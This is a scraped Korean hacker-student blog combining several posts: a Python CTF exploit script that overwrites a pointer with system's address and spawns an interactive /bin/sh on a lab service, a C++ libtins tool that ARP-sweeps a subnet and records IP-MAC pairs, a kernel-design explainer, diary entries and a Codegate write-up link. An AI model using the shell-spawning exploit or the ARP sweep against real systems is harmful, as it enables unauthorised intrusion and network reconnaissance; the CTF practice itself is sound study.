왜 이걸 대회때 못풀고 이제야 푸는지 모르겠다.

이렇게 간단한 문제를... (이불킥


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from socket import *
from time import *
from telnetlib import *
import struct
 
#============================
system_got = 0x080484F0
#============================
 
p32 = lambda x: struct.pack('<L', x)
 
HOST = '192.168.206.129'
PORT = 31330
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
print sock.recv(1024)
print sock.recv(1024)
 
sock.send('1\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('1\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('Name\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('A'*4+p32(system_got)+'A'*71+'0')
sleep(0.1)
print sock.recv(1024)
 
sock.send('2\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('0\n')
sleep(0.1)
print sock.recv(1024)
 
sock.send('/bin/sh\x00\n')
sleep(0.1)
print sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs


블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

 모놀리식 커널(Monolithic Kernel)은 OS 구조의 한 형태이다. 대부분의 OS는 중심적인 기능을 수행하는 핵심 부분과 기타 주변 부분을 수행하는 부분으로 구성된다.


 OS의 핵심 부분 설계에는 가능한 핵심부를 작게 만드는 마이크로 커널과 주변 기능을 포함하여 만드는 모놀리식 커널이 존재한다. 리눅스는 모놀리식 커널을 채용하였으며, Windows NT는 마이크로 커널을 사용한다.



 마이크로 커널은 커널의 기능을 최소화하고 꼭 필요한 기능만을 넣어 둔 것이다. 핵심 기능인 Process Communication, I/O Control 등은 커널에 포함되어 있지만 File System, Network 등은 포함되어 있지 않고, 따로 User Application 형태로 존재하며 동작하게 된다.



 그에 비해 모놀리식 커널은 커널 내부에 Process management, Interrupt Handling, File System 등의 기능이 포함되어 있다. User Application에서 OS 내부의 기능을 사용하기 위해서는 System Call을 이용해야 한다. 새로운 기능이 등장하거나 Bug-fix가 발생했을 때, 커널 전체를 재컴파일해야 하므로 시간이 오래 걸린다는 단점이 있다.

'Knowledge' 카테고리의 다른 글

Greedy Algorithm + 회의실 배정  (0) 2016.06.21
Kernel/User mode  (0) 2016.04.15
libcapstone-dev 설치 방법  (0) 2016.03.12
PE 파일과 Memory-Mapped File  (0) 2015.12.24
Wireshark로 인증서 추출하기  (0) 2015.11.02
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



1월부터 지금까지 블로그에 하루에 한번씩 꼬박꼬박 일기처럼 한 일들을 적는 카테고리를 만들고

잊지 않았다면 올리기 위해 최대한 노력했는데도 듬성듬성 안 쓴 적도 있고 3~4일 뒤에야 부랴부랴 적은 경우도 있다.

오늘같은 날도 생각해보니 BoB 인증식 이후로 안올렸었다.


이런 사소한 일도 꼬박꼬박 하기 어려운데 다른 일은 오죽할까...

'잡담' 카테고리의 다른 글

미뤄뒀던 공부 진행  (0) 2016.04.15
우분투가 불안정하긴 한가보다  (0) 2016.04.15
pthread따위 으으  (0) 2016.03.18
Codegate 2016 Junior 예선 결과  (0) 2016.03.13
요즘 생활에 대한 고찰  (0) 2016.03.12
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

2016-03-23

2016. 3. 24. 13:16

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2016-03-22

2016. 3. 24. 13:15

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2016-03-21

2016. 3. 22. 14:45

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2016-03-20

2016. 3. 22. 14:42

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
/***************
*    Author : 5kyc1ad
*    2016.03.20 : 01:30
*    Update
*       - 2016.03.22 : Input Bcast & Expand IP Range to send ARP
****************/
 
#include <tins/tins.h>
#include <thread>
#include <unistd.h>
#include <stdio.h>
#include <iostream>
#include <map>
#include <string>
#include <time.h>
 
using namespace std;
using namespace Tins;
 
void ARPsniffing(char *);
void sendARP(char *char *);
 
int main(int argc, char *argv[])
{
    if(argc!=3) {
        cout << "[*] Usage : " << argv[0<< " [MY_IP] [BCAST]" << endl;
        return 1;
    }
    thread sniffThread(ARPsniffing, argv[1]);
    sleep(1);
    thread sendingARPThread(sendARP, argv[1], argv[2]);
 
    sendingARPThread.join();
    sniffThread.join();
    return 0;
}
 
void ARPsniffing(char *my_ip){
    map<IPv4Address, HWAddress<6>> mac_list;
    int TIMEOUT = 20;
    char config[256= {0,};
    Sniffer sniff("wlan0");
    sprintf(config, "arp dest %s", my_ip);
    cout << "[*] Configure : Filtering=" << config << ", TIMEOUT="<< TIMEOUT << endl;
    sniff.set_filter(config);
    int cur = time(NULL);
    while(time(NULL< cur + TIMEOUT) {
        Packet p = sniff.next_packet();
        if(p.pdu()->find_pdu<ARP>() && p.pdu()->rfind_pdu<ARP>().opcode() == 2) {
            mac_list.insert(pair<IPv4Address, HWAddress<6>>(p.pdu()->rfind_pdu<ARP>().sender_ip_addr(), p.pdu()->rfind_pdu<ARP>().sender_hw_addr()));
        }
    }
    clog << "[*][*] Saved ip-mac Table [*][*]" << endl;
    for(map<IPv4Address, HWAddress<6>>::iterator i=mac_list.begin(); i != mac_list.end() ; i++) {
        clog << i->first << " : " << i->second << endl;
    }
}
 
void sendARP(char *my_ip, char *bcast){
    char tmp[30= {0,};
    int ip1, ip2, ip3, ip4, net;
    PacketSender sender;
    sscanf(bcast, "%d.%d.%d.%d", &ip1, &ip2, &net, &ip4);
    sscanf(my_ip, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);
    ip4 = 0;
 
    for(int j=0; j<=net; j++){
        for(int i=0; i<=255; i++){
            sprintf(tmp, "%d.%d.%d.%d", ip1, ip2, j, i);
            IPv4Address to_resolve(tmp);
            NetworkInterface iface(to_resolve);
            auto info = iface.addresses();
            EthernetII eth = ARP::make_arp_request(to_resolve, info.ip_addr, info.hw_addr);
            sender.send(eth, iface);
            usleep(10000);
            clog << "[*] ARP Request to " << tmp << endl;
        }
    }
}
 
cs


블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

2016-03-19

2016. 3. 20. 01:29

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.


Codegate 2016 Junior Prequal Write-up.pdf


'CTF > Write-up' 카테고리의 다른 글

2016 sCTF Write-up  (0) 2016.04.17
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,